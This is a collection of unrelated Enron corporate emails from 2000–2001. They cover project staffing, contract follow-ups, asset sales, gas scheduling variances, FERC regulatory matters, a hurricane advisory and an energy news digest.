Tracy

Team
We are doing much better with interviews (See below). Thanks & keep up the good work. Please complete assignments on time. In addition, we need each SME as a minimum to allot 4 hours a week towards this project, which will significantly increase the potential for the end product to "Exceed the Mark & Expectations."

Quote for this week: "One should always bloom, where one is planted."

Have a great weekend and I hope to see all of you on the Oct 24th Boat Ride.

Thanks for your great efforts thus far.

Cheers
Kirk
---------------------- Forwarded by Kirk McDaniel/HOU/EES on 10/05/2001 03:04 PM ---------------------------

laura.a.de.la.torre@accenture.com on 10/05/2001 10:37:27 AM
To:	kmcdani@enron.com
cc:	monica.l.brown@accenture.com 
Subject:	SME Meetings

			Meetings Completed       Future Meetings Scheduled
Phillip Allen            8                    2

John Arnold*             0                    0

Dutch Quigley            5                    0

Berney Aucoin            5                    1

Andy Lewis*              3                    1

Ed McMichael             8                    1

Mark Reese               6                    2

Jeff Gossett             1                    0

*John will engage once content is being produced.
*Andy did not show up for his 10/4 mtg. so he did not learn how to use the
electronic content workbook for the Knowledge System

Hours By Week
Name           8/27-9/4       9/5-9/7         9/10-9/14      9/17-9/21	9/24-9/28        10/1-10/5       Total

Phillip Allen       0		   2        	  4        		 1         4			3             14

John Arnold         0        	   0 		        0         	 0         0			0              0

Dutch Quigley       0            0 	              2  		       2         2			4             10

Berney Aucion       0            0                2         	 2         1  			2              7

Andy Lewis          0        	   2                2   	       2         0			0               6

Ed McMichael        2            0          	  0      		 4         4			4             14

Mark Reese          0            0 	              2  		       2         3 			3             10

Laura de la Torre
Accenture
Resources
Houston, Texas
Direct Dial  713.837.2133
Octel  83 / 72133

This message is for the designated recipient only and may contain
privileged or confidential information.  If you have received it in error,
please notify the sender immediately and delete the original.  Any other
use of the email by you is prohibited.

Luxury Link

 I thought you might be interested in this online luxury travel website.
The website address is http://www.luxurylink.com/Home.phtml?rd=BestBuys/BestBuy.phtml?id=4173.

Prior to sending anything we should check in with Richard Sanders.  Mary

Mary Cook

	Tana Jones
	10/18/2000 12:47 PM
		
		 To: Edward Sacks/Corp/Enron@ENRON
		 cc: Mary Cook/HOU/ECT@ECT, Samantha Boyd/NA/Enron@Enron, Susan 
Bailey/HOU/ECT@ECT
		 Subject: Re: MIECO - ISDA

Mark,

Mieco is the cpy where we had the misposted/bad online trade & we held up 
their master.  Can we send it out?

	Edward Sacks@ENRON
	10/18/2000 12:41 PM
		 
		 To: Mary Cook/HOU/ECT@ECT, Tana Jones/HOU/ECT@ECT, Susan Bailey/HOU/ECT@ECT, 
Samantha Boyd/NA/Enron@Enron
		 cc: 
		 Subject: MIECO - ISDA

It has been brought to my attention that the Mieco ISDA has not been received 
by the company.  Could you let me know if there is any hold up or perhaps if 
we need to trace the package?      Thanks

Ed Sacks
---------------------- Forwarded by Edward Sacks/Corp/Enron on 10/18/2000 
12:34 PM ---------------------------

pdanna@mieco.com@mieco.com> on 10/18/2000 12:22:06 PM
Sent by: "Peter D'Anna" <pdanna@mieco.com>
To: <Edward.Sacks@enron.com>
cc:  

Subject: RE: ISDA

Ed,
I thought Mary and I finalized our issues a week or so ago, but I haven't
seen anything yet.  Maybe getting a signature?  Peter

From: Edward.Sacks@enron.com [mailto:Edward.Sacks@enron.com]
Sent: Wednesday, October 18, 2000 5:36 AM
To: pdanna@mieco.com
Subject: ISDA

Peter,

Hope all is well.  Wanted to make sure that the ISDA has been received by
you.  My last recollection was that Mary Cook had agreed to all of your
requests.  Please respond when you get a chance.

Regards,

Ed Sacks

fyi. michelle has the kelly role at the end been discussed with you or are we 
covered re consulting agreement??

----- Forwarded by Lisa Mellencamp/HOU/ECT on 10/25/2000 08:52 AM -----

	Randal Maffett
	10/24/2000 05:40 PM
		 
		 To: jerrel@ecogas.com, jerrel@rmisp.com, Jeff Donahue/HOU/ECT@ECT, Andrea V 
Reed/HOU/ECT@ECT
		 cc: sjham84@aol.com, kmahmoud@austin.rr.com, kelly.mahmoud@enron.com, 
rstephens@bracepatt.com, Lisa Mellencamp/HOU/ECT@ECT
		 Subject: Status update

Selexol Plant - has been sold to Tanoma for $200K.  Wire transfer received 
today.  I have called Montauk and informed them and withdrawn from further 
negotiations with them.  FYI - we never accepted their offer.
Austin PPA - was sold to EDI for $150K.  Wire transfer received yesterday.
Steve and Geoff are pursuing the sale of the blower and flare from the Austin 
project, potential $30K.
Current cash projection (based solely on money in the bank) through the week 
ending Nov. 3 is + $135K.  The rent for the Austin office for Oct has been 
paid.  This number also includes $20K for Nov's rent (due 11/1).  This 
provides some breathing room (time-wise) to continue trying to execute the 
strategy of an orderly liquidation in order to maximize Ecogas' ability to 
satisfy its obligations with its creditors.  
Our meeting today with ZAPCO re: the purchase of the company via a stock swap 
went ok but my confidence level a deal can be done in the timeframe required 
is very low due to complications on their part.  We are exploring another 
structural option - at ZAPCO's request.  The ball is in their court and they 
know we are continuing to pursue other alternatives.
Discussions with Inter-Asia Venture Management (IAVM) continue to both 
progress and expand.  In addition to Rosenberg IAVM has expressed a direct 
interest in Ecovest and McCommas.  Considering McCommas represents the bulk 
of current value, IAVM has now elevated their interest to buying Ecogas Corp. 
as a whole rather than on a piecemeal basis.  Again, the ball is in their 
court and they are demonstrating a real sense of urgency to make something 
happen.  They are well aware of the time constraints.
Frito-Lay/McCommas Bluff - F/L senior management does not want to "get into 
the landfill energy business" (at least directly) and brought in a third 
party intermediary.  After detailed discussions and due diligence on their 
part, the third party was not willing to put forth a formal offer.  Their 
intermediary does not have the capital to close the deal and is not willing 
to put his current assets at risk.  As a result, we have escalated 
discussions with another entity who could provide the same interface with F/L 
and whom would be acceptable by F/L.  This will also be dependent on the 
probability of the IAVM and/or ZAPCO discussion referenced above.
Skyline/Westside - a bid request package was sent out to approximately 8 or 9 
industry participants with bids due 10/23.  To date only one company 
responded with a very low bid and a lot of "contingencies."  There are at 
least 2 other companies who called and expressed interest in bidding but have 
not yet submitted their bids.  EDI has requested permission to visit with WMI 
directly and get a read on the Gas Rights Agreements and their willingness to 
work with them.  At this point, I don't think we should agree.  Depending on 
how discussions with IAVM and/or ZAPCO progress, this will require a 
judgement call as to whether or not we should proceed with this transaction.  
Any input from the rest?
FYI - Felipe Vega, the controller for Ecogas, has tendered his resignation 
effective Monday, Oct. 30.  Kelly Mahmoud will assume the necessary role to 
keep things in order.

Given the updates above, we are still pursuing parallel and simultaneous 
paths of either selling the company outright or strategically liquidating 
assets with our focus on McCommas Bluff.  Feel free to call if you have any 
questions or would like to discuss in more detail.

PRIVATE EQUITY IN LATIN AMERICA: AN ATTRACTIVE INVESTMENT OPPORTUNITY?
Violy McCausland, President and CEO, Violy, Byorum & Partners
Timothy Purcell, Managing Partner, J.P. Morgan Latin America Partners
Andrew C. Quale, Partner, Sidley & Austin
Moderator: Susan Segal, Partner, J.P. Morgan Partners LLC
The panelists will discuss the opportunities and challenges of investing in the
region and the importance of private equity as a source of capital for emerging
markets.            Tuesday, June 19, 2001                           Registratio
n and continental breakfast:8:00 - 8:15 a.m. Presentations and discussion: 8:15
- 9:30 a.m. (Note longer program time)                       Council of the Amer
icas, 680 Park Avenue (at 68th Street), New York City

 - MIAMI FTAA01.TIF 
 - PrivateEquity01ANN.doc 

The vision is coming into focus and it has a new name!

Over the past several months, the IT Help Desks at Enron Net Works have 
incorporated new processes and methodologies to optimize customer service 
delivery.  As part of this effort, we have implemented a new name - 
Resolution Center.   The following IT Help Desks are included in this 
initiative:

Enron Corporation   3.1411
Enron North America  3.4888
International Offices  6.7757 

For more information, look for our ads on ETV, the posters on the 6th floor 
in 3 Allen Center and in the Lobby of the Enron Building, or visit 
http://itcentral.enron.com. 

To learn more about our new services, come visit members of the Resolution 
Center team in the Enron Building Lobby between 11:00 a.m. and 1:00 p.m. on 
Tuesday, September 5th.  We look forward to seeing you there!

FYI.

From: Dan Douglass 
Sent: Wed 9/19/2001 7:30 PM 
To: ARM; Vicki Sandler; Tamara Johnson; Mara, Susan; Steve Huhman; Roger Pelote; Rob Nichol; Randy Hickok; Nam Nguyen; Jim Crossen; Dasovich, Jeff; Janie Mollon; Jack Pigott; Greg Blue; George Vaughn; Gary Ackerman; Ed Cazalet; Denice Cazalet Purdum; Curtis Kebler; Curt Hatton; Corby Gardiner; Charles Miessner; Carolyn Baker; Bill Ross; Karen Shea; Max Bulk 
Cc: 
Subject: Business Group Letter

Attached is a letter from Bill Booth on behalf of a group of large consumer groups urging the CPUC not to act on the DWR agreements.
 
Dan
 
Law Offices of Daniel W. Douglass
5959 Topanga Canyon Blvd.  Suite 244
Tel:   (818) 596-2201
Fax:  (818) 346-6502
douglass@energyattorney.com <mailto:douglass@energyattorney.com>

Well, it's over.  My mom passed away last night at 12:30 after a year long 
battle with pancreatic cancer.  I was in Texas with her for the past 5 days 
taking care of her and spending time with her.  The funeral should be 
Thursday in Texas and then the burial will be in Oklahoma on Saturday.  
Thank you all so much for your prayers, your support, sending Mom cards, 
driving me to the airport and doing whatever you could do for my family and 
me.  I couldn't have been so strong throughout this year if it weren't for 
the wonderful support of my friends.  I love you all.

Rebecca

December 19, 2000

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You are currently subscribed to special-offers as: [mark.guzman@enron.com]
You can unsubscribe anytime at http://www.southwest.com/email

---------------------- Forwarded by Chris Germany/HOU/ECT on 03/08/2000 01:51 

"Immer, Ingrid" <Ingrid.Immer@Williams.com> on 03/08/2000 12:04:27 PM
To: "'Chris Germany'" <Chris.Germany@enron.com>
cc:  
Subject: RE: Demand Charges

Chris, we are not going to be able to repair this problem in the next few
days.  We need to do some programming work.  If you guys would go ahead and
pay the bill, it'll be washed out in an adjustment hopefully next month.
The bill itself is correct, it's just on the wrong contract.
Let me know if this is ok with you.   Thanks, ii

> From: Chris Germany [SMTP:Chris.Germany@enron.com]
> Sent: Monday, March 06, 2000 8:39 AM
> To: ingrid.immer@williams.com
> Subject: Demand Charges
>
>
>
> Here are a couple of demand charges I don't understand.  AGL released CES
> some
> ESR (offer #18307) and WSR (offer #18210).  The demand portion of these
> contracts being billed on k#1.3473.  What's up.
> 

I assume those are not in  the up-front reserved area.

From:  Nancy Sellers [mailto:Nancy.Sellers@RobertMondavi.com]
Sent: Monday, April 30, 2001 4:59 PM
To: 'Eldon Sellers'; Cameron; Jeff Dasovich; Prentice @ Berkeley; Prentice
Sellers; Scott Laughlin
Subject: IMPORTANT!!

<< File: Summer Festival Press Release 2001_.doc >>
Attached is the summer festival press release.  Buena Vista Social Club is
coming and the tickets are very expensive - $75 each.  Are you interested -
I should know pretty soon as I am sure it will sell out rapidly! - It is on
Friday, July 13.

<<Summer Festival Press Release 2001_.doc>>

Here is a copy of the original email sent to you:

______________________________________________________________________________
___
I am contacting you on the recommendation of Pug Winokur, who is on our Board 
of Directors.  Enron has formed an Advisory Council which consists of 
academicians, public policy thinkers and media, together with Enron 
executives.  I would like to invite you to address the group on E-Commerce 
issues at our next meeting (Friday, September 8th in Houston).

Attached is a list of our Advisory Council members.

I think you will find this group interesting and thought provoking.

Please contact me at your earliest convenience at 713-853-1586.
__________________________________________________________________________

DEBORAH:   Please fax me Mr. Pandit's bio.  My fax number is 713-646-8160.

Also, would you email his presentation when you have it available.  Most 
presenters use Power Point - but if you have different needs, please give me 
a call at 713-853-1808.  The person to email the presentation to is Russell 
Mitchell.  His email address is     russell.mitchell@enron.com

Thanks for your assistance.

---------------------- Forwarded by Joe A Casas/HOU/ECT on 03/08/2000 08:24 

knovsek@columbiaenergygroup.com on 03/08/2000 08:21:22 AM
To: " - *jcasas2@enron.com" <jcasas2@enron.com>, " - 
*Steve.Gillespie@enron.com" <Steve.Gillespie@enron.com>
cc:  
Subject: CGE for Tomorrow the 9th

Hi.  Please take the volume at CGE off TGT K#6057 from 1186 to 386 dth for
March 9th only.  Effective March 10-31, please leave the nomination at 1186 
dth
per day.

CALENDAR ENTRY:	REMINDER

	MUST MAIL CPE FORM!!!!!!!!

Date:		2/23/2001
Time:		12:00 PM (Central Standard Time)

Chairperson:	Outlook Migration Team

Wants to meet prior to meeting with Causey on Weds. Oct. 3rd. (9/26/01)- cv

Dear E204-1 and E204-2 students,

Regarding the Team Assignment #2, I neglected to put the point-count in the 
Points Scoreboard on page 1.? The points assigned should be:
Problem 1:??? 8 pts
Problem 2:? 12 pts

On Personal Problem Set 5 (due May 3/4), the note says NOT to use Linear 
Programming to 
determine the EST, EFT, LST, and LFT times for each activity but instead 
determine them
manually as in lecture.? This direction should have referred to 15.9 (b) and 
(d), so Linear
Programming should not be an issue for the homework.? Creating a spreadsheet 
in part (e)
can be done from the text examples and the spreadsheet example that you have 
in your
Project Management handout (p11).

Elizabeth Joy will hold the Review on Saturday for those looking for 
additonal 
insights on simulation and the initial topics of project management -- 
defining the
network diagram (activity on node), deriving the Early Start Times,  
Early Finish Times (+EST + duration), Late Finish Times, Late Start Times 
(=LFT - duration), 
Total Slack (=LST-EST), Free Slack, Safety Slack, Unshared Slack (=Min{Free 
S, Safety S}),
Critical Path, Project Duration, Linear Programming formulation to Min 
Project Time, etc.

--Tom McCullough

=======================================================================
Tom McCullough
Senior Lecturer
University of California at Berkeley
========================================================================== 

Any clue on numbers yet?  Top's support people are ringing our guys and telling them they want more people (legal)!  Bit of an issue when we'll be cutting.   

From: 	markmuller <8774754543@skytel.com>@ENRON  
Sent:	Wednesday, January 09, 2002 7:54 AM
Subject:	 

We had a good session w top last night narrowing a numner of deal pts.  We are doing the same w umb this am. We should know by this eve who is in the lead. Hang in there and have fun w the maple leafs. 

John,

I've received internal approval to participate.  I'll see what I can come up 
with for a bio.

Thanks,

Kay

"Cogan, John" <JCogan@KSLAW.com> on 03/12/2001 05:06:53 PM
To: "'C. Kay Mann (E-mail)'" <Kay.Mann@enron.com>

Subject: RE: Roundtable

Dear Kay, I was delighted to hear from John Keffer that, subject to
receiving internal approvals, you would be joining us for our Roundtable
discussion on Thursday. When you get the necessary approvals could you
please send me your bio so that we can make sure you get due credit in The
Texas Lawyer? Many thanks, John C.

> From:   Keffer, John 
> Sent:   Monday, March 12, 2001 4:47 PM
> To:   C. Kay Mann (E-mail)
> Cc:   Cogan, John; LaFollette, Chris; Coley, Randy
> Subject:   Roundtable
> 
> Dear Kay,
> 
> Confirming our discussion, The Texas Lawyer has asked King & Spalding to
> organize a Roundtable Discussion of lawyers and business people to discuss
> how the two professions relate to each other in the context of complex
> business transactions. 
> 
> The Roundtable would take place privately in a conference room in our
> offices with a court reporter recording the discussion, which would then
> be published in an upcoming issue of the newspaper. Participants will have
> the opportunity to edit their remarks before they are published. John
> Cogan will be co-chairman of the proceedings with our partner, Chris
> LaFollette.  I unfortunately cannot attend as I will be out of town. 
> 
> The Discussion will take place on Thursday, March 15, from 2 to 3:30. We
> will hold a planning session over lunch in one of our conference rooms
> from 12:30 to 2. No other preparation would be required.
> 
> You would be a terrific representative from Enron to join us and provide
> Enron's perspective. Please confirm your attendance as soon as you get the
> internal approvals by calling John Cogan at 713.276.7371 or by e-mail at
> jcogan@kslaw.com.
> 
> Best regards,
> John
> 

Terry: I am pleased that you will serve and appreciate your question asking 
for objectives and goals.  The goal is to get information defining what each 
Enron group wants in energy services liberalization. Second is to have them 
define by country the impediments to our businesses that we want addressed in 
a WTO energy services negotiation and third, what groups or companies in 
various regions of the globe can we enlist to lobby their government in 
support of an energy services agenda.

Ideally I would like to have input by January 15, 2000. Perhaps we can all 
meet in Houston about that time to exchange written information, discuss it 
and plan a strategy for 2000.

I will attach the questionaire that Bob Fisher of the Hills group prepared 
from the Rachel Thompson paper that was distributed to Energy Services 
Coalition members in November and asked that they complete it by the middle 
part of December which is today. So far we have had very little response.  
The WTO is to meet in Geneva this week to decide a schedule to consider 
"services" starting this year. Despite the fact that Seattle did not launch a 
formal round of negotiations, the Uruguay Round concluded seven years ago 
mandated that the WTO begin negotiations on agrucultural and services 
liberalization in 2000. The next formal meeting of the WTO is January 25 in 
Geneva.

Joe

Hi guys

 In fear of the future I decided today to go ahead and prepare an outline of  
things we could talk about on Tues.  An unproofed draft of the brief 
presentation will be sent to you by my assistant.  Please feel free to mark 
up, delete or supplement.  On Mon when we talk and divy up parts , each 
person can then finish out the presentation as they want it.  .

 Dede I'll call you on Monday at 930 and then we can conference Harlan in.   
Thanks for everybody's help and have a great weekend.

You bought 95 shares of PMCS (Pmc-sierra Inc Com) at 102.000000.

The tracking number for this order is: B-300-AAZM-2611
Order entered at:                      11:21:45 on 12/01/00
Order processing began at:             11:21:47
Order executed at:                     11:21:48 on 12/01/00

Time and Date: 11:21:48 on 12/01/00
Your position in PMCS is 95 shares
Your real cash total is $-7,941.38

 Attached for your review is a clean copy of version 6 of the
World Hunger Form Agreement (first document below), as well as a
blackline (second document below) showing changes to the May 22 version.
The Enron team has not had the opportunity to review all of the changes
in this draft, thus Enron reserves the right to withdraw and add
changes.
 <<GE Agreement - Version 6.DOC>>  <<World Hunger Form Blackline Agt -
Version 5 to 6.DOC>> 
 - GE Agreement - Version 6.DOC
 - World Hunger Form Blackline Agt - Version 5 to 6.DOC

Harry -

This is the meeting.

Jim

From: 	Furey, Denise  
Sent:	Monday, November 05, 2001 1:56 PM
To:	Dodgen, Kathy; Steffes, James D.; Keller, James; Smith, Mike; Herndon, Rogers; Harris, Molly; Black, Don; Sharp, Vicki
Cc:	Deleonardis, Cathy; O'Neal, Patricia; Finnels-Neal, La Donna; Hutchens, Jennifer; Greenlee, Terri
Subject:	RE: Mtg. Re: Bonds and Licenses

I can be there.

From: 	Dodgen, Kathy  
Sent:	Monday, November 05, 2001 1:36 PM
To:	Steffes, James D.; Keller, James; Smith, Mike; Herndon, Rogers; Harris, Molly; Black, Don; Furey, Denise; Sharp, Vicki
Subject:	Mtg. Re: Bonds and Licenses

The meeting referenced above is scheduled for 5:30 p.m. today (for 30 min.) in EB872.

Thank you.

Kathy

I would like to trade for your 2nd pick in the draft.  I can offer you a 2nd 
round pick and a 9th round pick.  What do you think?

Eric

C. Engel
cengel@apk.net

I'm writing to urge you to donate (atleast some of) the millions of dollars you made from selling Enron stock before the company declared bankruptcy to funds, such as Enron Employee Transition Fund and REACH, that benefit the company's employees, who lost their retirement savings, and provide relief to low-income consumers in California, who can't afford to pay their energy bills.  Enron and you made millions out of the pocketbooks of California consumers and from the efforts of your employees.

C. Engel

Molly,

Thanks a lot. I am very glad about Jinbaek.

Vince

From:	Molly Magee/ENRON@enronXgate on 04/11/2001 06:11 PM
To:	Vince J Kaminski/HOU/ECT@ECT, Stinson Gibner/HOU/ECT@ECT
cc:	 
Subject:	Update

I've talked several times with Scott Gerson of the Focus Group about the list of candidates he has presented to you.  He says that Sriram is "ready to go", but that the other NY guys are "kinda iffy".  He did say that they may become more interested in Houston if they don't receive NY job offers within the next week or so. We have scheduled Sriram to come in to interview with the group on Thursday, 4/19, beginning at 9:00 am with you, Vince.   I will keep you posted if I hear anything more from Scott.

Spoke with Jinbaek Kim today, and he is very excited about the offer to do a summer internship with the Research Group.  We will get his offer letter out to him tomorrow, but he has indicated a definite verbal acceptance.

I'll be in tomorrow, but off Friday.  Please call me with any questions you might have.

Thanks,
Molly
x34804

Professor Titman:
I received an e-mail from Meg Brooks in the admissions office stating that I 
would be hearing from them this week.  I hope things work out and I can be 
contributing to and learning from the program next year.  Thanks again for 
all your help.  Hope to hear from you soon.
Ben

Yes, Sorry, forgot to mention it to you, but nothing was set in stone.    In 
fact, I initiated the invitation on behalf of me and you.  Are you free?, are 
they free?, I don't even know if I'm free.  What did they say?

George, 

Are you looking into these variances?

D
---------------------- Forwarded by Daren J Farmer/HOU/ECT on 03/21/2000 
KENNY J 
SOIGNET        
03/21/2000 08:58 AM

To: Daren J Farmer/HOU/ECT@ECT, Aimee Lannou/HOU/ECT@ECT, George 
Grant/HOU/ECT@ECT, Fred Boas/HOU/ECT@ECT
cc: Howard B Camp/HOU/ECT@ECT, Rita Wynne/HOU/ECT@ECT 
Subject: CILCO STORAGE

The Cilco volumes are different than the confirmed volumes to Cilco.  Please 
review the attached the spreadsheets from Lisa Kinsey, the central desk 
scheduler responsible for the Cilco account.  The biggest variance is in 
January 2000.  Cilco withdrew 200,000 mmbtu's more than we booked @ bammel.  
Please let me know the best way to correct the problem.  I suspect the 
variance is showing up as a transport imbalance.  Also, the nomination for 
the current month is 7,327 mmbtu instead of 7,000 mmbtu per day.  7,000 is 
the volume delivered to Cilco after transport fuel.
 
---------------------

Lisa Kinsey
03/21/2000 08:12 AM
To: Kenny J Soignet/HOU/ECT@ECT
cc:  

Kenny,
Attached is the worksheet that I have been using to verify Cilco's storage 
balance with Vonda Seckler from Cilco.  Let me know if you need anything 
else.  

ext 37628

Follow Olga as it brings swells to the Caribbean and the U.S. coast
with news updates, satellite and radar images, forecast maps,
and message board: http://www.GoPBI.com/storm?tag=e_1127

000
WTNT32 KNHC 271432
TCPAT2
BULLETIN
HURRICANE OLGA ADVISORY NUMBER	12
NATIONAL WEATHER SERVICE MIAMI FL
11 AM AST TUE NOV 27 2001

...OLGA DRIFTING EASTWARD WITH 85 MPH WINDS...

AT 11 AM AST...1500Z...THE EYE OF HURRICANE OLGA WAS LOCATED NEAR
LATITUDE 31.5 NORTH...	LONGITUDE 57.0 WEST OR ABOUT 455 MILES...730
KM...EAST OF BERMUDA.

OLGA IS LOOPING OR DRIFTING EASTWARD AT THIS TIME BUT NO SIGNIFICANT
MOTION IS EXPECTED DURING THE NEXT 24 HOURS.

MAXIMUM SUSTAINED WINDS ARE NEAR  85 MPH...140 KM/HR...WITH HIGHER
GUSTS.	LITTLE CHANGE IN STRENGTH IS FORECAST DURING THE NEXT
24 HOURS.

HURRICANE FORCE WINDS EXTEND OUTWARD UP TO  25 MILES... 35 KM...
FROM THE CENTER...AND TROPICAL STORM FORCE WINDS EXTEND OUTWARD UP
TO 345 MILES...555 KM.

ESTIMATED MINIMUM CENTRAL PRESSURE IS  975 MB...28.79 INCHES.

SWELLS FROM THE HURRICANE ARE LIKELY TO AFFECT BERMUDA...PORTIONS OF
THE U.S. EAST COAST...THE BAHAMAS...AND THE ISLANDS OF THE
NORTHERN CARIBBEAN FROM HISPANIOLA EASTWARD DURING THE NEXT COUPLE
OF DAYS.

REPEATING THE 11 AM AST POSITION...31.5 N...57.0 W.  MOVEMENT
DRIFTING EASTWARD.  MAXIMUM SUSTAINED WINDS... 85 MPH.	MINIMUM
CENTRAL PRESSURE...975 MB.

THE NEXT ADVISORY WILL BE ISSUED BY THE NATIONAL HURRICANE CENTER AT
5 PM AST.

FORECASTER AVILA

Make GoPBI.com's Storm Warning Center your No. 1 resource for hurricane
and tropical storm updates: http://GoPBI.com/storm

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You can contact us by mail or telephone at:
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Copyright 2001 Cox Interactive Media

Hi Gerald,

We're still alive and kicking.  I made some changes to the LOI.  Can you 
check it over - I'm hoping to send it over to Corey at the end of the week.

Thanks,

Andrew

SDG&E filed a Complaint with the FERC that requests an "emergency order 
capping at $250 per MWh the prices" for all parties selling into the Calif 
ISO and the Calif PX.   SDG&E claims that the Calif ISO and the Calif PX are 
"fundamentally flawed and inherently incapable of producing workable 
competition".

EPMI is directly impacted by this Complaint.   Even though FERC has approved 
EPMI's Market-Based Rate certificate after a finding that we had no market 
power, this Complaint would restrict us from selling at above $250 per MWh 
into the Calif ISO and Calif PX.

Government Affairs is responding in two ways --

1. A direct response from EPMI to FERC responding that there has been no 
finding that EPMI has market power and therefore we should not lose our 
market-based rate authority.

2. A response through WPTF (Western Power Trading Forum) and EPSA to argue 
more broadly the facts of what is going on in California (bad hedging by 
SDG&E) and poor market structure rules.

The fundamental problem is that the FERC is running scared about price spikes 
and may, without any real thinking, approve such a Complaint.  SDG&E has 
asked for expedited treatment and a decision could be out as early as mid 
August.

This issue again highlights how important the on-going FERC Investigation in 
Market Issues is for Enron.  We are putting together a detailed plan of how 
Enron will present our recommendations to FERC in this Investigation and will 
discuss this with you.

Call with questions.  

Thanks,

Jim

Employee Name: Theresa R. Staab
Expense Report Name: TS112901
Report Total: $495.98
Amount Due Employee: $495.98

To approve this expense report, click on the following link for Concur Expense.
http://expensexms.enron.com

All

A reminder that you are scheduled to interview for the Trading Track Thursday,  November 1st, from 2.00 pm onwards.   Resumes and schedules will be forwarded to you shortly.

Regards,

Vince, scanned through.  Looks like a good start.

Thanks

John Henderson

----- Forwarded by John Henderson/HOU/NewPower on 02/16/2001 03:32 PM -----

	Vince J Kaminski@ECT
	02/16/2001 09:56 AM
		 
		 To: John Henderson/HOU/EES@EES
		 cc: 
		 Subject: Wharton Tm #3 Presentation

John,

Did you have a chance to take a look at his presentation?

Any comments?

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 02/16/2001 
09:55 AM ---------------------------

"Cummins, Marc" <marcjc@wharton.upenn.edu> on 02/15/2001 01:36:16 PM
To: "'Christie.Patrick@enron.com'" <Christie.Patrick@enron.com>, 
Vince.J.Kaminski@enron.com, Melinda.McCarty@enron.com, "'Li.Sun@enron.com'" 
<Li.Sun@enron.com>, "'john.henderson@newpower.com'"  
<john.henderson@newpower.com>
cc: "Thorne, Heather" <hethorne@wharton.upenn.edu>, "DeGiacinto, Clayton"  
<degiacic@wharton.upenn.edu>, "Lessar, Stephen"  <lessars@wharton.upenn.edu>, 
"Vittal, Maheshram"  <mvittal@wharton.upenn.edu>, "Bassal, Omar" 
<bassalo@wharton.upenn.edu>, "Feerick, Dennis" <dennisf@wharton.upenn.edu>, 
"Cummins, Marc"  <marcjc@wharton.upenn.edu>, "'thomas@wharton.upenn.edu'"  
<thomas@wharton.upenn.edu> 
Subject: Wharton Tm #3 Presentation

Vince and Christie,

Here are the read ahead slides for today's teleconference.  Also attached is 
the first draft of our Conjoint Analysis survey.  We'll see you this 
afternoon.

 <<Enron Pres #3.ppt>>  <<NewPower Conjoint.doc>>

Team 3

 - Enron Pres #3.ppt
 - NewPower Conjoint.doc

Start Date: 3/31/01; HourAhead hour: 15;  No ancillary schedules awarded.  
Variances detected in Generation schedule.

Schedules\2001033115.txt

---- Generation Schedule ----
$$$ Variance found in table tblGEN_SCHEDULE.
     Details: (Hour: 15 / Preferred:   0.00 / Final:   0.00)
  SC_ID: ARCO
  TRANS_DATE: 3/31/01
  UNIT_ID: CARBGN_6_UNIT 1

---- Energy Import/Export Schedule ----
*** Final schedule not found for preferred schedule.
     Details:

  SC_ID: ECTRT
  TIE_POINT: SYLMAR_2_NOB
  INTERCHG_ID: EPMI_CISO_DFISH
  ENGY_TYPE: NFRM

Mary Cook requested certain updates be made to ENA's Guaranty documents.  Attached are REDLINED versions of the Guaranty documents.

	1.  Enron Corp. Guaranty & Counterparty Guaranty 

	2.  Enron Corp. Guaranty (multiproduct)

	3.  Counterparty Guaranty (multiproduct)

Clean versions of these Guaranty documents are a available for use and can be accessed as follows:

		O:\Legal\ATTY.FMS\SWAP FORMS\Current

Regards,
Susan S. Bailey
1400 Smith Street, Suite 3803A
phone: (713) 853-4737
fax: (713) 646-3490
email: susan.bailey@ enron.com

Stacey, figured out where 88MM of our 89MM difference is between the two portfolios. Duplicate deal with Powerex. Mid C is out about 1MM so I will look at it when I get back.

Call me at home if needed.

John

We are getting the Enron treatment from Coral.  I hope Carolyn told you I 
called yesterday - Coral was looking for Shell approval.  I'm guessing it is 
in a coma.  I usually have 30 voice mails, and I have had 4 today, which 
tells you something.  Good  time for Michael to be sick!  

Carlos has interviews today and tomorrow with ENA.  I think he is looking 
good for Mexico.  You guys are the absolutely best qualified for that 
business, and I'll start planting that seed when I can. 

By the way, thanks for the great job on Coral.  Did you hear from Rose on the 
HSR on TurboPark?  

We do want Astros tickets for next year - at least 15 games.  Are more 
available?

I heard that Hampton had an issue with Patty Biggio (thank goodness, these 
salaries are absurd), and I guess I'm glad to see Ausmus come back.  However, 
he is not a substitute for a pitcher.  And how is Shane?

Ciao,

Kay

"Keffer, John" <JKeffer@KSLAW.com> on 12/12/2000 03:50:53 PM
To: "Mann, C. Kay" <Kay.Mann@enron.com>
cc:  

Subject: Hola

Que paso con Coral?

Heard from your assistant that your son is sick-hope all is well.

The PowerMarketers.com POWER REPORT
Today's Energy Headlines From PowerMarketers.com
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?TOP STORIES

FIRSTENERGY: 425-MW OHIO PEAKING PLANT DUE UP FOR SUMMER

FirstEnergy Corp. expects to have a new 425-megawatt peaking power plant in 
northern Ohio ready for commercial operations soon, a company spokeswoman 
said Friday.

PSE&G/RATES - 2: PSEG COULD BUILD 340 MW IN CALIFORNIA BY AUTUMN

Unregulated units PSEG Power and PSEG Global are expected to anchor the 
company's growth with the construction of new power plants in the U.S. and 
abroad, the executives said.

FEDERAL OFFICIALS APPROVE POWER PRICE CONTROLS FOR CALIFORNIA

Federal regulators Wednesday ordered limited price controls for California's 
electricity market that will kick in when a shortage of power threatens to 
plunge the state into an emergency.

BUSH EXPLORING POWER PLANT BOOSTS

The Bush administration and congressional Republicans are exploring ways to 
boost production from California's small, alternative-energy power plants, 
many of which have shut down because they weren't getting paid.

PRAISES SUNG FOR NEW POWER PLANT; COAL-FIRED FACILITY IS FIRST ALLOWED IN 20 
YEARS

Coal industry and union representatives Thursday pointed to a planned $137 
million power plant in Logan County as an example of how Illinois coal can 
become an environmentally friendly and inexpensive energy source.

EXCO RESOURCES INC. - COMPLETES $51.3 MILLION ACQUISITION OF ADDISON ENERGY 
INC.

EXCO Resources, Inc. announced that it completed the previously announced 
acquisition of Addison Energy Inc., a private Canadian oil and gas company 
headquartered in Calgary.

EnergyJobs Weekly (current issue) can be downloaded at: ??
http://www.pmaconference.com/EnergyJobs.pdf

Merchant Power Monthly (current issue) can be downloaded at: ?
http://www.pmaconference.com/mpm.pdf

Dow Jones News, Preferred by the Pros

DOW JONES NEWSWIRES- Access stories online at: 

UniSource Energy Earnings -2: 1Q Fincl Table, Comment

PSE&G/Pwr -3: Expects To Recover $40 Million From PG&E

UniSource Energy Sees 2001 Net Of At Least $2.50/Shr

UniSource Energy Boosts 2001 Net View >UNS

